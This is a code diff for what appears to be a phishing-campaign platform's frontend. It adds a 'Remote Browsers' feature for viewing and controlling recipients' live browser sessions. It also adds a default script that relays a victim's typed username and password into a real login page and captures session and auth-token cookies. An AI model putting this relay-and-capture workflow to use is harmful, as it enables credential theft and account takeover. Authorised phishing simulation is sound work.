<!-- svelte-ignore a11y-click-events-have-key-events -->
<!-- svelte-ignore a11y-no-static-element-interactions -->
<div
class="flex-1 flex items-center rounded border {controlMode
? 'border-gray-300 dark:border-gray-600 bg-white dark:bg-gray-800 cursor-text'
: 'border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50'}"
on:click={() => { if (controlMode) document.getElementById('rb-url-input')?.select(); }}
>
<input
id="rb-url-input"
type="text"
bind:value={urlBarValue}
on:focus={() => { urlBarFocused = true; }}
on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }}
on:keydown={(e) => {
if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); }
if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); }
e.stopPropagation();
}}
readonly={!controlMode}
class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}"
placeholder="about:blank"
/>
</div>
</div>
</div>
<!-- Canvas -->
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
<div
class="flex-1 overflow-hidden flex items-center justify-center bg-black rounded relative"
class:cursor-crosshair={controlMode}
>
<canvas
bind:this={canvas}
class="max-w-full max-h-full object-contain"
style={controlMode ? 'cursor: crosshair;' : ''}
on:mousemove={onMouseMove}
on:mousedown={onMouseDown}
on:mouseup={onMouseUp}
on:wheel|nonpassive={onWheel}
on:contextmenu|preventDefault
/>
{#if logPanelOpen}
<div
class="absolute bottom-0 left-0 right-0 flex flex-col bg-gray-950/95 border-t border-gray-700 rounded-b"
style="height: 13rem; max-height: 50%;"
>
<div class="flex items-center justify-between px-2.5 py-1 border-b border-gray-700/60 flex-shrink-0">
<span class="text-xs font-mono text-gray-400">Script Log</span>
<button
type="button"
on:click={() => (logPanelOpen = false)}
class="text-gray-500 hover:text-gray-300 transition-colors"
title="Close log"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3.5 h-3.5">
<path d="M5.28 4.22a.75.75 0 0 0-1.06 1.06L6.94 8l-2.72 2.72a.75.75 0 1 0 1.06 1.06L8 9.06l2.72 2.72a.75.75 0 1 0 1.06-1.06L9.06 8l2.72-2.72a.75.75 0 0 0-1.06-1.06L8 6.94 5.28 4.22Z" />
</svg>
</button>
</div>
<div
bind:this={logPanelEl}
class="flex-1 overflow-y-auto font-mono text-xs text-gray-200 p-2 space-y-0.5 select-text"
>
{#if runLog.length === 0}
<span class="text-gray-500">No events yet.</span>
{:else}
{#each runLog as entry}
<div
class="leading-5 {entry.type === 'event'
? 'text-blue-300'
: entry.type === 'sent'
? 'text-orange-300'
: entry.type === 'capture'
? 'text-purple-300'
: entry.type === 'submit'
? 'text-amber-300'
: entry.type === 'info'
? 'text-sky-300'
: entry.type === 'screenshot'
? 'text-teal-300'
: entry.type === 'error'
? 'text-red-400'
: entry.type === 'done'
? 'text-green-400'
: 'text-gray-400'}"
>
{#if entry.type === 'event'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-blue-400"> emit </span>
<span class="text-yellow-400">{entry.key}</span>
<span class="text-gray-300"> = </span>
<span>{JSON.stringify(entry.value)}</span>
{:else if entry.type === 'sent'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-orange-400">{entry.event}</span>
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
<span class="text-gray-300"> data=</span><span>{JSON.stringify(entry.data)}</span>
{/if}
{:else if entry.type === 'screenshot'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
{#if entry.url}
<span class="text-gray-500 ml-1 truncate">{entry.url}</span>
{/if}
{:else if entry.type === 'info'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-sky-400"> info</span>
<span class="text-sky-200 ml-1">{entry.message}</span>
{:else if entry.type === 'submit'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-amber-400"> ⬆ submitData</span>
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
{:else if entry.type === 'capture'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-purple-400"> ★ capture</span>
{#if entry.value?.cookies}
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
{/if}
{#if entry.value?.localStorage}
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
{/if}
{:else if entry.type === 'done'}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span class="text-green-400"> ✓ done</span>
{:else}
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
<span> {entry.message}</span>
{#if entry.data !== undefined && entry.data !== null}
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
{/if}
{/if}
</div>
{/each}
{/if}
</div>
{#if isRunning}
<div class="border-t border-gray-700/60 px-2 py-1.5 flex-shrink-0 flex gap-2 items-center">
<input
type="text"
bind:value={injectEvent}
placeholder="event name"
class="w-28 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
/>
<input
type="text"
bind:value={injectData}
placeholder='data JSON'
class="flex-1 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
/>
<button
type="button"
class="px-2.5 py-0.5 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
on:click={sendInject}
>
Send
</button>
</div>
{/if}
</div>
{/if}
</div>
{#if controlMode}
<p class="text-xs text-gray-400 mt-2 flex-shrink-0">
Mouse and keyboard are captured while this modal is open.
</p>
{/if}
</div>
</Modal>
@@ -26,54 +26,43 @@
activeFormElement.set(dropdownId); // set this as active, closing others
const viewportHeight = window.innerHeight;
const buffer = 20; // extra space to ensure some padding from viewport edges
const minHeight = 64; // minimum dropdown height
const maxHeight = 400; // maximum dropdown height
const viewportWidth = window.innerWidth;
const buffer = 20;
const minHeight = 64;
const maxHeight = 400;
const gap = 8;
let clickViewportY, pageX, pageY;
// handle both mouse and keyboard events
if (e.clientY !== undefined && e.pageX !== undefined) {
// mouse event
clickViewportY = e.clientY;
pageX = e.pageX;
pageY = e.pageY;
// use viewport (fixed) coordinates so positioning is independent of DOM ancestors
let x, y;
if (e.clientX !== undefined && e.clientY !== undefined) {
x = e.clientX;
y = e.clientY;
} else {
// keyboard event - use button position
const buttonRect = buttonRef.getBoundingClientRect();
clickViewportY = buttonRect.top;
pageX = buttonRect.left + window.scrollX;
pageY = buttonRect.top + window.scrollY;
x = buttonRect.left + buttonRect.width / 2;
y = buttonRect.top;
}
// calculate available space above and below
const spaceAbove = clickViewportY - buffer;
const spaceBelow = viewportHeight - clickViewportY - buffer;
// choose position based on available space, with preference for below
const spaceAbove = y - buffer;
const spaceBelow = viewportHeight - y - buffer;
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
// calculate optimal height within bounds
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
// find position
const gap = 8; // small gap between menu and cursor/button
menuX = pageX - 256;
const menuWidth = 256;
const spaceOnRight = viewportWidth - x - buffer;
menuX = spaceOnRight >= menuWidth ? x : x - menuWidth;
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
if (shouldShowAbove) {
// calculate actual menu height by temporarily showing it
menuRef.style.visibility = 'hidden';
menuRef.style.display = 'block';
const actualMenuHeight = menuRef.scrollHeight;
menuRef.style.display = '';
menuRef.style.visibility = '';
// position above by moving up by the actual menu height
menuY = pageY - actualMenuHeight - gap;
menuY = y - actualMenuHeight - gap;
} else {
// for below positioning, use original click/button position
menuY = pageY + gap;
menuY = y + gap;
}
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
@@ -160,7 +149,7 @@
<div
bind:this={menuRef}
class="absolute bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-20 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class:hidden={!isMenuVisible}
>
<ul class="flex flex-col text-left">
@@ -55,7 +55,7 @@
class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200"
>
{#if !isGhost}
{title.length ? title : column}
{title?.length ? title : column}
{:else}
<GhostText />
{/if}
@@ -26,7 +26,7 @@
<TableHead>
<TableRow>
{#each columns as column, i (i)}
{#each columns as column, i (typeof column === 'object' ? column.column : column)}
{#if typeof column === 'object'}
<TableHeadCell
{...column}
+10
View File
@@ -66,6 +66,11 @@ export const route = {
route: '/proxy/',
blackbox: true
},
remoteBrowser: {
label: 'Remote Browsers',
route: '/remote-browser/',
blackbox: true
},
campaignTemplates: {
label: 'Templates',
singleLabel: 'Templates',
@@ -137,6 +142,11 @@ export const menu = [
route.apiSenders,
route.oauthProviders
]
},
{
label: 'Remote Browsers',
type: 'submenu',
items: [route.remoteBrowser]
}
];
@@ -49,6 +49,8 @@
import FormFooter from '$lib/components/FormFooter.svelte';
import TextFieldSelect from '$lib/components/TextFieldSelect.svelte';
import { resourceContext } from '$lib/store/resourceContext';
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
import LiveSessionBadgeDropdown from '$lib/components/remote-browser/LiveSessionBadgeDropdown.svelte';
// services
const appStateService = AppStateService.instance;
@@ -169,6 +171,17 @@
let setAsSentRecipient = null;
let lastPoll3399Nano = '';
// live remote browser sessions
/** @type {Map<string, {crID: string, campaignID: string, recipientID: string, createdAt: string, victimConnected: boolean}>} */
let liveSessions = new Map();
let liveSessionPollInterval = null;
let streamModalVisible = false;
let streamCRID = '';
let streamControlMode = false;
let streamEmail = '';
let isTerminateSessionAlertVisible = false;
let terminateSessionCRID = '';
// hooks
onMount(() => {
const context = appStateService.getContext();
@@ -186,14 +199,51 @@
await refreshCampaignEventsSince();
})();
// poll live sessions every 5 seconds
liveSessionPollInterval = setInterval(refreshLiveSessions, 5000);
refreshLiveSessions();
// cleanup resource context when leaving page
return () => {
recipientTableUrlParams.unsubscribe();
eventsTableURLParams.unsubscribe();
resourceContext.clear();
clearInterval(liveSessionPollInterval);
};
});
const refreshLiveSessions = async () => {
const campaignID = $page.params.id;
const res = await api.remoteBrowser.getLiveSessions(campaignID);
if (!res.success) return;
const map = new Map();
for (const s of res.data ?? []) {
map.set(s.crID, s);
}
liveSessions = map;
};
const openStreamModal = (crID, control, recipientEmail = '') => {
streamCRID = crID;
streamControlMode = control;
streamEmail = recipientEmail;
streamModalVisible = true;
};
const openTerminateAlert = (crID) => {
terminateSessionCRID = crID;
isTerminateSessionAlertVisible = true;
};
const doTerminateSession = async () => {
const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID);
if (!res.success) {
return { success: false, error: 'Failed to terminate session' };
}
await refreshLiveSessions();
return { success: true };
};
const refresh = async (showLoading = true) => {
if (showLoading) {
showIsLoading();
@@ -1947,6 +1997,7 @@
<SubHeadline>Recipients overview</SubHeadline>
<Table
columns={[
...(liveSessions.size > 0 ? [{ column: 'Remote', size: 'small' }] : []),
{ column: 'First name', size: 'small' },
{ column: 'Last name', size: 'small' },
{ column: 'Email', size: 'large' },
@@ -1972,6 +2023,29 @@
>
{#each campaignRecipients as recp (recp.id)}
<TableRow>
{#if liveSessions.size > 0}
<TableCell>
{#if liveSessions.has(recp.id)}
{@const ls = liveSessions.get(recp.id)}
<LiveSessionBadgeDropdown victimConnected={ls.victimConnected}>
{#if ls.canStream}
<TableDropDownButton
name="View"
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
/>
<TableDropDownButton
name="Control"
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
/>
{/if}
<TableDropDownButton
name="Terminate"
on:click={() => openTerminateAlert(recp.id)}
/>
</LiveSessionBadgeDropdown>
{/if}
</TableCell>
{/if}
{#if recp?.anonymizedID}
<TableCell value={'anonymized'} />
<TableCell value={'anonymized'} />
@@ -2104,6 +2178,23 @@
: ''}
on:click={() => onClickPreviewEmail(recp.id)}
/>
{#if liveSessions.has(recp.id)}
{@const ls = liveSessions.get(recp.id)}
{#if ls.canStream}
<TableViewButton
name="View remote session"
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
/>
<TableDropDownButton
name="Control remote session"
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
/>
{/if}
<TableDropDownButton
name="Terminate remote session"
on:click={() => openTerminateAlert(recp.id)}
/>
{/if}
</TableDropDownEllipsis>
</TableCellAction>
{/if}
@@ -2112,6 +2203,23 @@
</Table>
{/if}
{/if}
<RemoteBrowserStream
bind:visible={streamModalVisible}
crID={streamCRID}
controlMode={streamControlMode}
email={streamEmail}
on:closed={() => { streamModalVisible = false; refreshLiveSessions(); }}
/>
<Alert
headline="Terminate session"
bind:visible={isTerminateSessionAlertVisible}
onConfirm={doTerminateSession}
ok="Yes, terminate"
>
Are you sure you want to terminate this live session? The victim's browser will be closed.
</Alert>
<Modal headerText={'Events'} visible={isEventsModalVisible} onClose={closeEventsModal}>
<div class="mt-8"></div>
<Table
@@ -0,0 +1,349 @@
<script>
import { page } from '$app/stores';
import { api } from '$lib/api/apiProxy.js';
import { onMount } from 'svelte';
import { newTableURLParams } from '$lib/service/tableURLParams.js';
import Headline from '$lib/components/Headline.svelte';
import TableRow from '$lib/components/table/TableRow.svelte';
import TableCell from '$lib/components/table/TableCell.svelte';
import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte';
import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte';
import TableCopyButton from '$lib/components/table/TableCopyButton.svelte';
import FormError from '$lib/components/FormError.svelte';
import { addToast } from '$lib/store/toast';
import { AppStateService } from '$lib/service/appState';
import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte';
import TableCellAction from '$lib/components/table/TableCellAction.svelte';
import Modal from '$lib/components/Modal.svelte';
import Table from '$lib/components/table/Table.svelte';
import HeadTitle from '$lib/components/HeadTitle.svelte';
import { getModalText } from '$lib/utils/common';
import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte';
import AutoRefresh from '$lib/components/AutoRefresh.svelte';
import BigButton from '$lib/components/BigButton.svelte';
import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte';
import FormGrid from '$lib/components/FormGrid.svelte';
import FormFooter from '$lib/components/FormFooter.svelte';
import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte';
const appStateService = AppStateService.instance;
// form state
let formValues = {
id: null,
name: '',
description: '',
script: defaultScript(),
config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2)
};
let isSubmitting = false;
let formError = '';
let savedScript = defaultScript();
// table state
const tableURLParams = newTableURLParams();
let contextCompanyID = null;
let items = [];
let hasNextPage = true;
let isTableLoading = false;
// modal state
let isModalVisible = false;
let modalMode = null;
let modalText = '';
// delete state
let isDeleteAlertVisible = false;
let deleteValues = { id: null, name: null };
$: modalText = getModalText('Remote Browser', modalMode);
function defaultScript() {
return `// The phishing page sends events here via rb.send("event", data).
// This script replays them into the real site and emits events back.
var s = newSession();
s.navigate("https://example.com/login");
s.waitVisible("input[type='email']");
// wait for victim to submit their email on the phishing page
var u = waitForEvent("username");
s.sendKeys("input[type='email']", u.username);
s.click("button[type='submit']");
// ask the phishing page to show a password field
s.waitVisible("input[type='password']");
emit("need_password", {});
var p = waitForEvent("password");
s.sendKeys("input[type='password']", p.password);
s.click("button[type='submit']");
// grab session cookies once we land inside the app
s.waitVisible("#dashboard");
s.capture({
domains: ["example.com"],
cookieNames: ["session", "auth_token"]
});
emit("captured", { status: "success" });
s.keepAlive();
s.close();
`;
}
onMount(() => {
const context = appStateService.getContext();
if (context) contextCompanyID = context.companyID;
refreshItems();
tableURLParams.onChange(refreshItems);
(async () => {
const editID = $page.url.searchParams.get('edit');
if (editID) await openUpdateModal(editID);
})();
return () => tableURLParams.unsubscribe();
});
const refreshItems = async (showLoading = true) => {
try {
if (showLoading) isTableLoading = true;
const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID);
if (res.success) {
items = res.data.rows ?? res.data ?? [];
hasNextPage = res.data.hasNextPage ?? false;
}
} catch (e) {
addToast('Failed to load Remote Browsers', 'Error');
console.error(e);
} finally {
if (showLoading) isTableLoading = false;
}
};
const openCreateModal = () => {
formValues = {
id: null,
name: '',
description: '',
script: defaultScript(),
config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2)
};
savedScript = defaultScript();
formError = '';
modalMode = 'create';
isModalVisible = true;
};
const openUpdateModal = async (id) => {
try {
const res = await api.remoteBrowser.getByID(id);
if (!res.success) throw res.error;
const rb = res.data;
formValues = {
id: rb.id,
name: rb.name || '',
description: rb.description || '',
script: rb.script || defaultScript(),
config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
};
savedScript = formValues.script;
formError = '';
modalMode = 'update';
isModalVisible = true;
} catch (e) {
addToast('Failed to load Remote Browser', 'Error');
console.error(e);
}
};
const closeModal = () => {
isModalVisible = false;
formError = '';
};
const onEditorChange = (event) => {
const { name, description, script, config } = event.detail;
formValues = { ...formValues, name, description, script, config };
};
const openCopyModal = async (id) => {
try {
const res = await api.remoteBrowser.getByID(id);
if (!res.success) throw res.error;
const rb = res.data;
formValues = {
id: null,
name: rb.name ? `${rb.name} (copy)` : '',
description: rb.description || '',
script: rb.script || defaultScript(),
config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
};
savedScript = formValues.script;
formError = '';
modalMode = 'copy';
isModalVisible = true;
} catch (e) {
addToast('Failed to load Remote Browser', 'Error');
console.error(e);
}
};
const onSubmit = async (event) => {
isSubmitting = true;
try {
const saveOnly = event?.detail?.saveOnly || false;
if (modalMode === 'create' || modalMode === 'copy') {
await create();
} else {
await update(saveOnly);
}
} finally {
isSubmitting = false;
}
};
const create = async () => {
try {
const res = await api.remoteBrowser.create({
name: formValues.name,
description: formValues.description,
script: formValues.script,
config: JSON.parse(formValues.config),
companyID: contextCompanyID
});
if (!res.success) { formError = res.error; return; }
formError = '';
addToast('Remote Browser created', 'Success');
// Stay in the modal - switch to update mode so the user can run/test immediately.
formValues = { ...formValues, id: res.data.id };
savedScript = formValues.script;
modalMode = 'update';
refreshItems();
} catch (e) {
addToast('Failed to create Remote Browser', 'Error');
console.error(e);
}
};
const update = async (saveOnly = false) => {
try {
const res = await api.remoteBrowser.update(formValues.id, {
name: formValues.name,
description: formValues.description,
script: formValues.script,
config: JSON.parse(formValues.config)
});
if (!res.success) { formError = res.error; return; }
formError = '';
savedScript = formValues.script;
addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success');
if (!saveOnly) {
closeModal();
refreshItems();
}
} catch (e) {
addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error');
console.error(e);
}
};
const onClickDelete = async (id) => {
const res = await api.remoteBrowser.delete(id);
if (res.success) {
refreshItems();
return res;
}
throw res.error;
};
</script>
<HeadTitle title="Remote Browsers" />
<div class="col-start-1 col-end-13 row-start-1 px-4">
<div class="flex justify-between items-center">
<Headline>Remote Browsers</Headline>
<AutoRefresh
isLoading={false}
onRefresh={() => refreshItems(false)}
/>
</div>
<BigButton on:click={openCreateModal}>New Remote Browser</BigButton>
<Table
columns={[
{ column: 'Name', size: 'large' },
{ column: 'Description' }
]}
sortable={['Name']}
hasData={!!items.length}
{hasNextPage}
plural="remote browsers"
pagination={tableURLParams}
isGhost={isTableLoading}
>
{#each items as item (item.id)}
<TableRow>
<TableCell>
<button
class="block w-full py-1 text-left"
on:click={() => openUpdateModal(item.id)}
>{item.name}</button>
</TableCell>
<TableCell>{item.description || ''}</TableCell>
<TableCellEmpty />
<TableCellAction>
<TableDropDownEllipsis>
<TableUpdateButton on:click={() => openUpdateModal(item.id)} />
<TableCopyButton title="Copy" on:click={() => openCopyModal(item.id)} />
<TableDeleteButton
on:click={() => {
deleteValues = { id: item.id, name: item.name };
isDeleteAlertVisible = true;
}}
/>
</TableDropDownEllipsis>
</TableCellAction>
</TableRow>
{/each}
</Table>
</div>
<!-- Editor modal (always fullscreen) -->
<Modal
bind:visible={isModalVisible}
headerText={modalText}
fullscreen={true}
onClose={closeModal}
{isSubmitting}
>
<FormGrid on:submit={onSubmit} {isSubmitting} {modalMode}>
<div class="col-span-3 flex flex-col min-h-0 overflow-hidden px-4 py-4">
<RemoteBrowserEditor
bind:name={formValues.name}
bind:description={formValues.description}
bind:script={formValues.script}
bind:config={formValues.config}
id={formValues.id}
{savedScript}
on:change={onEditorChange}
/>
</div>
<FormError message={formError} />
<FormFooter
{closeModal}
{isSubmitting}
okText={modalMode === 'create' ? 'Create' : 'Update'}
/>
</FormGrid>
</Modal>
<DeleteAlert
bind:isVisible={isDeleteAlertVisible}
name={deleteValues.name}
onClick={() => onClickDelete(deleteValues.id)}
/>
+1
View File
@@ -21,6 +21,7 @@ export default defineConfig({
'/api/': {
target: 'https://backend:8002',
secure: false,
ws: true,
},
},
},